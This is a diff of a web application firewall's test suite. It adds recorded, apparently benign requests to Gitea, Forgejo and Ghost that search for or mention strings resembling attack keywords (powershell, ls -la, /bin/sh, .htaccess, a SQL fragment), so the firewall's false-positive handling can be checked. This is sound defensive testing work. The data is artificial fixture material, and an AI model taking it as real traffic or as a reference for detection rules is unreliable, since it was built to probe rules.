-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},

internal/coreruleset/nextcloud_test.go

@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {nextcloud},

internal/coreruleset/recorded_test.go

@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
 		defaults := servingApps(t, apps)
 		bodies := shared(t, coreruleset.Params{
 			ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
-			BodyInspectionSize: bodyLimit, Apps: apps,
+			BodyInspectionSize: bodyInspectionSize, Apps: apps,
 		})
 
 		for _, recorded := range requests {

internal/coreruleset/testdata/forgejo-requests.txt

@@ -974,3 +974,63 @@
 {"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
+# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
+# 17.0.1. Each searches for words that name commands and files, such as python3
+# and .htaccess, and for plain words. A package name can hold a slash, as npm's
+# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
+# search of unadopted repositories takes an owner and a name.
+{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
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+{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}

internal/coreruleset/testdata/ghost-requests.txt

@@ -533,6 +533,8 @@
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+{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
+{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
+{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
+{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
+{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
+{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
+{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
+{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
+{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}

internal/coreruleset/testdata/gitea-requests.txt

@@ -381,6 +381,67 @@
 /org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
 /alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
 
+# The API's searches that gitea and Forgejo share, sent with curl to gitea
+# 1.27.3. Each searches for words that name commands and files, such as python3
+# and .htaccess, and for plain words. A package name can hold a slash, as npm's
+# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
+# search of unadopted repositories takes an owner and a name.
+/api/v1/repos/search?q=python3&limit=10
+/api/v1/repos/search?q=powershell&limit=10
+/api/v1/repos/search?q=ls%20-la&limit=10
+/api/v1/repos/search?q=.htaccess&limit=10
+/api/v1/repos/search?q=docker-compose.yml&limit=10
+/api/v1/repos/search?q=tools&limit=10
+/api/v1/users/search?q=python3
+/api/v1/users/search?q=powershell
+/api/v1/users/search?q=ls%20-la
+/api/v1/users/search?q=.htaccess
+/api/v1/users/search?q=bob
+/api/v1/repos/issues/search?q=python3&type=issues&state=open
+/api/v1/repos/issues/search?q=powershell&type=issues&state=open
+/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
+/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
+/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
+/api/v1/repos/issues/search?q=build&type=issues&state=open
+/api/v1/repos/alice/tools/issues?state=open&q=python3
+/api/v1/repos/alice/tools/issues?state=open&q=powershell
+/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
+/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
+/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
+/api/v1/packages/alice?q=python3
+/api/v1/packages/alice?q=powershell
+/api/v1/packages/alice?q=ls%20-la
+/api/v1/packages/alice?q=.htaccess
+/api/v1/packages/alice?q=%2Fbin%2Fsh
+/api/v1/packages/alice?q=install-script
+/api/v1/packages/alice?q=%40alice%2Ftools-cli
+/api/v1/topics/search?q=python3
+/api/v1/topics/search?q=powershell
+/api/v1/topics/search?q=ls%20-la
+/api/v1/topics/search?q=.htaccess
+/api/v1/topics/search?q=docker
+/api/v1/orgs/acme/teams/search?q=python3
+/api/v1/orgs/acme/teams/search?q=powershell
+/api/v1/orgs/acme/teams/search?q=ls%20-la
+/api/v1/orgs/acme/teams/search?q=.htaccess
+/api/v1/orgs/acme/teams/search?q=developers
+/api/v1/admin/emails/search?q=python3
+/api/v1/admin/emails/search?q=powershell
+/api/v1/admin/emails/search?q=ls%20-la
+/api/v1/admin/emails/search?q=.htaccess
+/api/v1/admin/emails/search?q=alice
+/api/v1/admin/unadopted?query=python3
+/api/v1/admin/unadopted?query=powershell
+/api/v1/admin/unadopted?query=ls%20-la
+/api/v1/admin/unadopted?query=.htaccess
+/api/v1/admin/unadopted?query=alice%2Fpython3-app
+/api/v1/admin/unadopted?query=alice%2Flegacy-site
+/api/v1/repos/alice/tools/milestones?state=open&name=python3
+/api/v1/repos/alice/tools/milestones?state=open&name=powershell
+/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
